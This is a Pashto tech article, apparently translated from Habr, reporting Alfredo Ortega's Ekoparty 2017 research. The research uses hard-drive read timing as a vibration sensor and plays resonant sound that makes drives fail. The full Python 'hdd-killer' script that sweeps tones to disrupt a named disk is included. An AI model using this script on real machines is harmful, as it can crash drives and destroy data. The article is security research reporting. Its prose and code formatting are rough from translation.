په بیونس آیرس کې د اکوپارټي 2017 کمپیوټر امنیتي کنفرانس کې، د ارجنټاین هیکر الفریډو اورټیګا یو خورا په زړه پوري پرمختګ وښود - د مایکروفون کارولو پرته د احاطې د پټو تار ټایپ کولو سیسټم. غږ
HDD په عمده توګه د لوړ شدت ټیټ فریکونسۍ غږونه، د پښو قدمونه او نور وایبریشنونه غوره کوي. د انسان وینا لا تر اوسه نشي پیژندل کیدی، که څه هم ساینس پوهان
غږ د هوا یا کوم بل منځنی حرکت دی. یو سړی دوی د غوږ د پردې له لارې پیژني، کوم چې داخلي غوږ ته وایبریشنونه لیږدوي. مایکروفون تقریبا د غوږ په څیر ډیزاین شوی - دلته هم، کمپنونه د یو پتلي غشا لخوا ثبت شوي، کوم چې بریښنایی محرک هڅوي. هارډ ډرایو، البته، د شاوخوا هوا کې د بدلونونو له امله د مایکروسکوپیک وایبریشنونو تابع دی. دا حتی د HDDs تخنیکي ځانګړتیاو څخه پیژندل کیږي: تولید کونکي معمولا د اعظمي اجازه وړ کمپن کچه په ګوته کوي ، او هارډ ډرایو پخپله ډیری وختونه هڅه کوي دا د ربړ یا نورو موصل موادو څخه جوړ شوي کمپن پروف کانټینر کې ځای په ځای کړي. له دې څخه دا په اسانۍ سره پایله کیدی شي چې غږونه د HDD په کارولو سره ثبت کیدی شي. ټول هغه څه چې پاتې دي د دې معلومول دي چې څنګه.
الفریډو اورټیګا د اړخ چینل برید یوه ځانګړې نسخه وړاندیز کړه ، د بیلګې په توګه د وخت برید. دا برید د دې انګیرنې پراساس دی چې مختلف عملیات په مختلف وختونو کې په وسیلې کې ترسره کیږي ، د ورکړل شوي معلوماتو معلوماتو پورې اړه لري. پدې حالت کې ، "ان پټ ډیټا" د لوستلو سر او د HDD پلیټ کمپنونه دي ، کوم چې د چاپیریال له کمپنونو سره تړاو لري ، دا د غږ سره. په دې توګه، د محاسبې وخت اندازه کولو او د ارقامو د احصایوي تحلیل په ترسره کولو سره، د سر/پلیټر کمپن او له همدې امله د منځني حرکتونه اندازه کیدی شي. هرڅومره چې د ډیټا لوستلو کې ځنډ ډیر وي ، د HDD وایبریشنونه قوي کیږي او له همدې امله غږ لوړیږي.
د هارډ ډرایو کمپن څنګه اندازه کول؟ خورا ساده: یوازې د سیسټم کال چل کړئ read ()
- او هغه وخت ثبت کړئ چې بشپړیدو ته یې اړتیا لري. عصري عملیاتي سیسټمونه تاسو ته اجازه درکوي د سیسټم زنګونو وخت د نانو ثانیه دقت سره ولولئ.
د سکټور څخه د معلوماتو لوستلو سرعت د سر او پلیټ په موقعیت پورې اړه لري، کوم چې د HDD قضیې کمپن سره تړاو لري. بس نور څه نه.
احصایوي تحلیل د ساده Kscope کارونې په کارولو سره ترسره کیږي. لکه څنګه چې دوی وايي، هر څه ساده دي.
د Kscope استعمال (stat() syscall)
Kscope د سیسټم کال اجرا کولو وختونو کې د کوچني توپیرونو لیدو لپاره یو کوچنی کار دی. سرچینه
په جلا ذخیره کې read ()
.
د HDD په کارولو سره د غږ ثبتولو مظاهره، د Kscope کارونې عملیات
البته، وینا په دې ډول نه پوهیږي، مګر HDD د کمپن سینسر په توګه خورا مناسب دی. د مثال په توګه، تاسو کولی شئ ثبت کړئ که چیرې یو څوک چې سخت بوټان اغوندي یا پښه یې د کمپیوټر سره یوې خونې ته ننوځي (شاید، که برید کونکي نرم بوټان اغوستي وي یا په فرش کې یو موټی غالۍ وي، HDD به ونشي کولی کمپن ثبت کړي - دا د چک کولو ارزښت لري). کمپیوټر کولی شي مات شوي شیشې یا نورې پیښې د قوي غږ شدت سره ثبت کړي. دا دی، هارډ ډرایو کولی شي د یو ډول غیر مجاز مداخلې کشف سیسټم په توګه خدمت وکړي.
د HDD وژونکی
په هرصورت، ورته تخنیک د هارډ ډرایو غیر فعالولو لپاره کارول کیدی شي. یوازې دلته موږ له HDD څخه دوهلونه نه لرې کوو ، مګر په برعکس ، موږ دوه اړخیزونه رامینځته کوو چې HDD ته تغذیه کیږي. که تاسو د سپیکر څخه په فریکونسۍ کې غږ غږ کړئ چې د HDD فریکونسۍ سره غږیږي، سیسټم ډیر ژر د I/O غلطی سره وسیله بندوي (د لینکس کرنل په بشپړ ډول د 120 ثانیو وروسته HDD بندوي). هارډ ډرایو پخپله د نه بدلیدونکي زیان سره مخ کیدی شي.
د لینکس کرنل د ایډیفیر r120u USB سپیکر له لارې په ریزونټ فریکونسۍ کې د غږ رسولو 19 ثانیو وروسته هارډ ډرایو بند کړ. سپیکر د بریښنا په څلورمه برخه کې (له 100 میګاواټه څخه کم) کې چالان شوی او د HDD څخه 20 سانتي متره موقعیت لري، هدف یې میز ته د کمپن وده کول دي. له چوکاټ څخه
دا د حیرانتیا خبره ده چې په HDDs کې دا ډول "بریدونه" ځینې وختونه په ورځني ژوند کې په ناڅاپي ډول پیښیږي. د مثال په توګه، د 2016 په سپتمبر کې، د ING بانک ډیټا مرکز اړ شو چې د اور وژنې وروسته د 10 ساعتونو لپاره عملیات وځنډوي.
د معلوماتو په مرکز کې په هارډ ډرایو کې د انسان چیغې وهل. د ځنډ اندازه کول
د ګونجونکي غږ رامینځته کولو لپاره ، الفریډو اورټیګا د Python سکریپټ په نوم لیکلی
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
سرچینه: www.habr.com